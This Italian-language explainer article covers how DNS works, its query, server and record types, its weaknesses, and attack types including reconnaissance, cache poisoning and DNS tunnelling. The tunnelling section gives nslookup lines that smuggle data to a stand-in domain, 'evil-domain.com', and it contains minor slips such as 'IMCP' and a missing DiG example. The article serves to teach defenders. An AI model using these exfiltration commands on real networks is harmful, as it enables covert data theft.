Indice dei contenuti dell'articolo:
Il Domain Name System (DNS) è un componente fondamentale della moderna rete che traduce tra nomi di dominio leggibili dall’uomo e gli indirizzi IP (Internet Protocol) sottostanti che i dispositivi connessi utilizzano per comunicare tra loro. Il DNS è antecedente al World Wide Web e facilita praticamente tutte le comunicazioni su Internet, così come altri usi che non si potevano nemmeno immaginare quando è stato sviluppato nei primi anni ’80. Tuttavia, la mancanza di funzionalità di sicurezza in questo protocollo di rete di lunga durata ha portato a numerose vulnerabilità e attacchi. In questo articolo, risponderemo a domande come “Cos’è il DNS?”, “Come funziona il DNS?” e “Quali sono i diversi tipi di record DNS?”
Che cos’è il DNS?
Il DNS è spesso indicato come la versione Internet delle Pagine Gialle . Ai vecchi tempi, quando avevi bisogno di trovare l’indirizzo di un’azienda, lo cercavi sulle Pagine Gialle. Il DNS è proprio così, tranne che in realtà non devi cercare nulla: il tuo computer connesso a Internet lo fa per te. È così che il tuo computer sa come trovare Google , ESPN.com o Managedserver.it.
Affinché due computer comunichino su una rete IP, il protocollo impone che abbiano bisogno di un indirizzo IP. Pensa a un indirizzo IP come a un indirizzo stradale: affinché un computer possa “localizzarne” un altro, è necessario che conoscano il numero dell’altro computer. Poiché la maggior parte delle persone è più brava a ricordare i nomi – www.google.it – che i numeri – 142.250.185.163, avevano bisogno di un programma per computer per tradurre i nomi in indirizzi IP.
Il DNS è più spesso pensato nel contesto del World Wide Web, ma in verità c’è una ricerca DNS dietro quasi ogni tipo di richiesta di rete, anche quelle non avviate da un utente. Gli aggiornamenti software, le app di social media e persino il malware generalmente raggiungono un nome host anziché un indirizzo IP. In questo modo, se l’indirizzo IP sottostante cambia, è ancora possibile stabilire la connettività.
Come funziona il DNS
Il DNS è una parte così integrante di Internet che è importante capire come funziona.
Pensa al DNS come a una rubrica, ma invece di mappare i nomi delle persone al loro indirizzo, la rubrica mappa i nomi dei computer agli indirizzi IP. Ogni mappatura è chiamata “record DNS”. I client DNS sui dispositivi connessi raggiungono i server DNS per recuperare questi record. Diversi tipi di record vengono utilizzati per scopi diversi. I browser Web si basano su un record di tipo “A”, mentre il record “MX” indica la direzione verso un server di posta. Ecco come è possibile ospitare un sito Web con un fornitore di servizi e un servizio di posta elettronica presso un altro.
Ecco uno sguardo al record “A” per varonis.com visto da una popolare utility da riga di comando chiamata DiG:
Come puoi vedere nell’esempio, è possibile avere più record per un singolo nome host o dominio. Questo può essere utilizzato per fornire ridondanza e bilanciamento del carico.
Internet ha molti computer, quindi non ha senso mettere tutti questi record in un unico grande libro. Invece, il DNS è organizzato in libri o domini più piccoli. I domini possono essere molto grandi, quindi sono ulteriormente organizzati in libri più piccoli, chiamati “zone”. Nessun singolo server DNS memorizza tutti i libri: sarebbe poco pratico.
Invece, il DNS opera in modo distribuito, con milioni di server in tutto il mondo che lavorano insieme. Quando il tuo computer vuole eseguire una ricerca DNS, potrebbe chiedere al server DNS sul tuo router locale. Il router locale a sua volta effettuerà una query “upstream” a un altro server DNS, spesso fornito da un provider di servizi Internet. Le query per un dominio possono andare “a monte” finché non raggiungono l’autorità del dominio o “server dei nomi autorevole”. In pratica, i risultati vengono spesso “memorizzati nella cache” a livelli inferiori per evitare la necessità di eseguire l’intero processo per ogni query.
Un server dei nomi autorevole è il luogo in cui gli amministratori gestiscono i nomi dei server e gli indirizzi IP per i loro domini. Ogni volta che un amministratore DNS desidera aggiungere, modificare o eliminare un nome di server o un indirizzo IP, apporta una modifica al proprio server DNS autorevole (a volte chiamato “server DNS principale”). Esistono anche server DNS “slave”; questi server DNS conservano copie dei record DNS per le loro zone e domini.
Query DNS, server e tipi di record
I concetti di base alla base del DNS sono relativamente semplici, ma nel corso degli anni il lato tecnico delle cose è diventato sempre più complesso. Ecco uno sguardo ad alcuni dei meccanismi interni del sistema:
Quali sono i tipi di query DNS?
Una query DNS è il messaggio inviato da un client a un server DNS o tra due server DNS. Una query DNS può essere una delle seguenti:
- Query DNS ricorsiva
In una query DNS ricorsiva, un client DNS raggiungerà un server, che a sua volta effettuerà richieste upstream per il dominio in questione fino a quando non verrà trovato un risultato. L’unica regola impostata per una query ricorsiva è che deve essere restituito un risultato, se ce n’è uno. Ci possono essere una o decine di ricorsioni. Il server iniziale o anche il client DNS locale potrebbe avere un risultato già memorizzato nella cache. Un valore time-to-live (TTL) determina per quanto tempo uno di questi risultati può essere memorizzato nella cache; una volta raggiunto il TTL, il client o il server dovrà cercare i risultati a monte.
- Query DNS iterativa
A differenza delle query DNS ricorsive, le query DNS iterative non viaggiano a monte. Invece, il server DNS a cui il client si rivolge farà del suo meglio per rispondere alla query. In caso contrario, potrebbe suggerire un server DNS diverso come il server dei nomi autorevole o il server dei nomi TLD. Il richiedente continuerà questo processo iterativo finché non trova una risposta o non scade.
Quali sono i tipi di server DNS?
Come già affermato, il DNS è un sistema distribuito, il che significa che i server di tutto il mondo lavorano insieme per mantenere e fornire i record DNS. Diversi tipi di server hanno ruoli diversi all’interno del sistema generale:
- Recursive DNS (DNS Ricorsivo)
A volte chiamato risolutore ricorsivo, un ricorsore DNS riceve query dai client DNS, risponde se è disponibile un hit nella cache o raggiunge un server dei nomi più in alto nella catena. I ricorsi sono spesso gestiti da provider di servizi Internet, ma è facile modificare la configurazione DNS di un computer in modo che punti a un’altra fonte per motivi di prestazioni, sicurezza o privacy.
- Root Server DNS
Come suggerisce il nome, i root server sono le fondamenta da cui si sviluppa l’intera infrastruttura DNS. I server root agiscono come server dei nomi autorevoli per i domini di primo livello (TLD) come “.com” e “.net”. C’è un problema, tuttavia, perché i server root stessi sono indicati da nomi host all’interno di quegli stessi TLD. Se un client DNS non è in grado di determinare a quale server dei nomi rivolgersi per “.net”, come può eventualmente risolvere un dominio completo come “a.root-servers.net”? La risposta è che i client DNS e i server di livello inferiore sono “bootstrap” con un elenco di tredici indirizzi IP del server principale. Questi indirizzi non tendono a cambiare spesso e solo uno di essi deve essere raggiungibile per risolvere gli altri.
- Server dei nomi TLD
I server dei nomi TLD sono secondi per importanza solo ai server radice, poiché sanno a chi rivolgersi per ottenere risposte su qualsiasi dominio all’interno di un determinato TLD. Quando si cerca www.managedserver.it , un server TLD per “.com” risponderà per primo, puntando il client verso il server dei nomi con i record per “managedserver”. parte del nome a dominio.
- Server dei nomi autorevole (Authoritative Nameserver)
Il server dei nomi autorevole è l’ultima tappa per una query DNS. Questo server, o spesso server per motivi di ridondanza, è la massima autorità per un determinato dominio. Tuttavia, non tutte le query DNS raggiungono il server dei nomi autorevole, poiché potrebbero esserci risultati memorizzati nella cache più vicini alla richiesta iniziale.
Le organizzazioni utilizzano spesso il DNS anche internamente. L’operazione non è molto diversa, tranne per il fatto che le ricerche e i record DNS rimangono all’interno della rete aziendale anziché su Internet. Questo è noto come DNS “privato” o “locale” in contrasto con il servizio DNS pubblico.
Quali sono i tipi di record DNS?
I record DNS sono disponibili in un’ampia varietà di tipi, ciascuno utilizzato per scopi diversi. Ecco alcuni dei più comuni:
- Record “A” – Utilizzo classico del DNS, traduce un dominio in un indirizzo IPv4.
- Record “AAAA” – Stessa funzionalità di un record “A”, ma utilizzando un indirizzo IPv6 invece di IPv4.
- Record “MX” – Abbreviazione di “Mail Exchange”, identifica il server di posta elettronica associato al dominio.
- Record “TXT”: utilizzato per un’ampia varietà di scopi, dalla prova della proprietà del dominio alla firma crittografica delle e-mail per combattere lo spam.
Vantaggi e punti deboli del DNS
Vantaggi
Ci sono molte buone ragioni per cui stiamo ancora usando il DNS dopo tutti questi anni. Alcuni dei vantaggi del sistema includono:
- È distribuito e resiliente
Non c’erano molti domini in uso durante i primi giorni di Internet, quindi è concepibile che avremmo potuto finire con un unico database centrale con tutte le mappature da dominio a IP. Questo, ovviamente, non avrebbe consentito la scalabilità necessaria per alimentare l’Internet moderna. La natura distribuita del DNS significa anche che il sistema è resiliente; un’interruzione di corrente, un cavo in fibra tagliato o un attacco informatico su un server DNS non interromperanno il sistema nel suo insieme.
- È versatile ed estensibile
Gli sviluppatori del DNS hanno sempre voluto che il protocollo fosse estensibile man mano che la tecnologia progrediva. Le estensioni allo standard DNS originale hanno portato nuove caratteristiche e funzionalità pur mantenendo la compatibilità con le versioni precedenti. Nel corso degli anni sono stati aggiunti nuovi tipi di record, regole perfezionate per la consegna dei pacchetti DNS e una maggiore sicurezza.
- È uno standard aperto e ben documentato
Il DNS non è nato dal dominio di un particolare fornitore o dal desiderio di guadagnare quote di mercato. L’Internet Engineering Task Force (IETF) pubblica apertamente l’insieme di regole che compongono il protocollo, consentendo a qualsiasi sviluppatore di software di implementare DNS nei propri prodotti. Esistono molte diverse implementazioni client e server DNS, ma poiché sono conformi a uno standard comune, possono funzionare tutte insieme.
Debolezze e Vulnerabilità
Le prime iterazioni del Domain Name System (DNS) risalgono ai primi anni ’80, ben prima dell’emergere delle moderne minacce alla sicurezza informatica. Di conseguenza, DNS e molti altri protocolli precedenti ancora in uso oggi, come ARP e IMCP, non hanno mai incluso molto in termini di funzionalità di sicurezza. Negli anni successivi sono state escogitate una serie di estensioni e mitigazioni man mano che sono emerse nuove minacce, ma il DNS è ancora spesso abusato dagli aggressori.
Dal punto di vista di un attore di minacce, ci sono diverse caratteristiche che rendono il DNS attraente:
- Ogni rete lo usa
Il DNS è onnipresente. Quasi ogni rete di computer nel mondo vedrà migliaia o milioni di query DNS ogni singolo giorno. Sebbene non sia tecnicamente necessario per far funzionare una rete IP, bloccare o limitare il DNS semplicemente non è pratico, quindi quasi tutti i firewall del pianeta sono configurati per consentire il traffico in uscita sulla porta 53. Ciò significa che gli aggressori non solo hanno una via d’uscita quasi garantita di una rete compromessa, ma c’è anche un sacco di traffico legittimo con cui possono fondersi.
- Non c’è autenticazione
Come molti altri primi protocolli di rete, il DNS non includeva mai un meccanismo di autenticazione. Ciò significa che nel protocollo DNS principale non è possibile essere sicuri che un determinato risultato sia autentico. Gli aggressori ne hanno approfittato con un’intera gamma di opportunità per attacchi di spoofing e avvelenamento che prendono di mira qualsiasi cosa, dalle singole macchine alle vaste aree dell’intera Internet.
La mancanza di autenticazione nel DNS è diventata una notizia in prima pagina nel 2008, quando il ricercatore di sicurezza Dan Kaminsky ha scoperto un’enorme vulnerabilità che avrebbe potuto consentire agli aggressori di avvelenare la cache di quasi tutti i server DNS in uso in quel momento. Il risultato è stato che anche con pochissime abilità tecniche, un utente malintenzionato potrebbe indurre con l’inganno i server DNS legittimi a inviare informazioni IP fasulle per domini importanti come una banca o un’istituzione governativa.
Di fronte alla minaccia di record DNS fasulli che provocano il caos nella comunità Internet, i fornitori di servizi e gli organismi di standardizzazione si sono uniti per adottare qualcosa chiamato Domain Name System Security Extensions (DNSSEC). DNSSEC utilizza la crittografia a chiave pubblica per firmare digitalmente i risultati DNS, garantendo che la risposta a una query sia effettivamente autentica.
- Non c’è nemmeno la crittografia
Le query DNS e le relative risposte vengono inviate in chiaro, il che significa che chiunque sulla rete può visualizzarle con uno strumento come Wireshark . Ciò presenta potenziali problemi di privacy perché significa che i tuoi colleghi, il tuo capo o persino l’ISP possono dire con quali domini hai interagito. Questo è vero anche per i siti Web che sfruttano la crittografia SSL/TLS; i dati effettivi trasferiti tra il sito e il tuo computer potrebbero non essere visualizzabili, ma quella query DNS iniziale che ti ha fornito l’indirizzo IP del sito in primo luogo lo è.
Sono stati avanzati due approcci concorrenti per avvolgere il traffico DNS con un livello di crittografia mentre passa attraverso una rete: DNS su HTTPS (DoH) e DNS su TLS. Quale approccio utilizzare – e se il DNS debba anche essere crittografato in primo luogo – è oggetto di accesi dibattiti .
Tipi di attacchi DNS
Attacchi di ricognizione DNS
Il DNS è tutto incentrato sulle informazioni, che dal punto di vista di un aggressore possono essere uno strumento prezioso. Le query DNS possono essere utilizzate per mappare l’infrastruttura di rete di una vittima rivelando host live su una rete , scoprendo i nomi host di obiettivi di alto valore come server di posta e file e fornendo indizi su applicazioni e servizi in uso. Puoi eseguire la tua missione di ricognizione DNS locale semplicemente seguendo le istruzioni seguenti:
Se hai un computer Windows, esegui i seguenti comandi così come sono; se sei un utente Linux, ci sono comandi corrispondenti che puoi cercare.
- Apri un prompt dei comandi (digita Ctrl + esc, le lettere “cmd”, quindi inserisci).
- Digita ipconfig
- Vedrai il dominio DNS in cui ti trovi (suffisso DNS specifico per la connessione), il tuo indirizzo IP e un sacco di altre cose. Vorrai fare riferimento a questo.
- Digita nslookup [indirizzo IP] Vedrai il nome del server DNS che sta rispondendo e, se il nome è noto, il record DNS che elenca il nome e l’indirizzo IP.
- nslookup –type=soa [il tuo dominio] Questo comando restituisce il tuo server DNS autorevole, non sarebbe utile se stessi cercando di infiltrarti in una rete.
- nslookup –type=MX [il tuo dominio] Quel comando restituisce tutti i server di posta sul tuo dominio locale, nel caso in cui volessi hackerare i server di posta e non sapessi dove fossero.
Come abbiamo già appreso, la maggior parte delle reti ha molte query DNS in corso tutto il tempo. Per molti prodotti di sicurezza e soluzioni di monitoraggio della rete standard, le query utilizzate da un utente malintenzionato per enumerare una rete non sembrano molto diverse da tutte le altre query legittime.
Dirottamento del DNS per reindirizzare il traffico
La mancanza di autenticazione nel protocollo DNS originale offre agli aggressori un enorme vantaggio perché significa che query e risposte possono essere manipolate o falsificate in molti punti diversi dalla macchina locale fino ai risolutori DNS globali.
Un classico attacco alla rete locale prevede il concatenamento di ARP Spoofing con un server DNS non autorizzato. In caso di successo, ciò farà sì che altre macchine sulla rete incanalino le loro query DNS su un server controllato dall’attaccante. L’autore dell’attacco può quindi restituire i propri indirizzi IP per tali query invece dell’indirizzo legittimo. Senza le mitigazioni in atto, un utente potrebbe digitare un dominio come example.com, vedere il caricamento di una pagina e non avere mai alcuna indicazione che stesse effettivamente comunicando con un falso dannoso.
Gli aggressori possono anche utilizzare una varietà di tecniche per avvelenare la cache dei server DNS legittimi . Ciò si verifica in genere quando le organizzazioni eseguono il proprio ricorsore DNS locale; un attacco di avvelenamento della cache riuscito su un grande provider DNS pubblico potrebbe avere un impatto globale, quindi questi provider tendono ad essere molto attenti alla sicurezza. Tuttavia, anche i grandi provider non sono immuni dalle vulnerabilità .
Se un utente malintenzionato falsifica con successo una risposta DNS, può rendere la cache del server DNS ricevente un record avvelenato. Quindi come aiuta gli aggressori?
Ecco un esempio: supponiamo che un utente malintenzionato venga a sapere che la tua organizzazione utilizza un’applicazione esterna per qualcosa di importante, come le spese. Se avvelenano il server DNS della tua organizzazione in modo che invii ogni utente al server dell’attaccante, tutto ciò che devono fare è creare una pagina di accesso dall’aspetto legittimo e gli utenti inseriranno le proprie credenziali. Potrebbero persino inoltrare il traffico al server reale (agendo come un “uomo nel mezzo”), quindi nessuno se ne accorge. L’attaccante può quindi provare quelle credenziali su altri sistemi, venderle o semplicemente festeggiare con una risata malvagia.
Utilizzo del DNS come canale nascosto
Dal momento che il traffico DNS in uscita non viene quasi mai bloccato, e tende ad essere molto, l’utilizzo del DNS per l’esfiltrazione dei dati o le comunicazioni segrete è diventata una tattica preferita di molti avversari sofisticati. L’obiettivo degli aggressori è fondersi con tutto quel traffico di rete legittimo attraverso una tecnica chiamata DNS Tunneling . In alcuni casi, un utente malintenzionato utilizzerà semplicemente il protocollo DNS in modi non previsti per il trasferimento dei dati. Questo può essere rischioso, tuttavia, poiché potrebbe generare picchi di grandi dimensioni o modelli di traffico insoliti che un’organizzazione ben preparata può notare rapidamente.
Un approccio più sofisticato prevede l’abuso dell’infrastruttura DNS stessa. Il malintenzionato imposterà un dominio DNS (evil-domain.com, ad esempio) su Internet e creerà un server dei nomi autorevole. Quindi, sull’host compromesso, l’attaccante può utilizzare un programma che suddivide i dati in piccoli blocchi e li inserisce in una serie di ricerche, in questo modo:
- nslookup My1secret1.evil-domain.com
- nslookup is1that1I1know.evil-domain.com
- nsllookup how2steal1data.evil-domain.com
Il server DNS corp.com riceverà queste richieste, si renderà conto che i risultati non sono nella sua cache e ritrasmetterà tali richieste al server dei nomi autorevole di evil-domain.com. L’attaccante si aspetta questo traffico, quindi esegue un programma sul server dei nomi autorevole per estrarre la prima parte della query (tutto prima di evil-domain.com) e riassemblarla. A meno che l’organizzazione non stia ispezionando le query effettuate dai server DNS, potrebbero non rendersi mai conto che i loro server DNS sono stati utilizzati per esfiltrare i dati.
E ancora più tipi di attacchi!
L’elenco sopra non è affatto un elenco completo di tutti i possibili attacchi DNS. Il protocollo è stato abusato per tutto, dalle campagne DDoS al monitoraggio nascosto degli utenti Internet . Recentemente sono stati osservati aggressori modificare la configurazione DNS in diverse varietà di router domestici per diffondere malware . Sia gli attori malintenzionati che i ricercatori di sicurezza sono costantemente alla ricerca di nuove vulnerabilità ed è improbabile che la loro attenzione si sposti presto.
Il DNS esiste da molto tempo e ogni computer connesso a Internet fa affidamento su di esso. Gli aggressori ora utilizzano il DNS per ricognizioni sia esterne che interne, per dirottare il traffico e creare canali di comunicazione segreti. Fortunatamente, monitorando i server DNS e applicando l’analisi della sicurezza , molti di questi attacchi possono essere rilevati e sventati.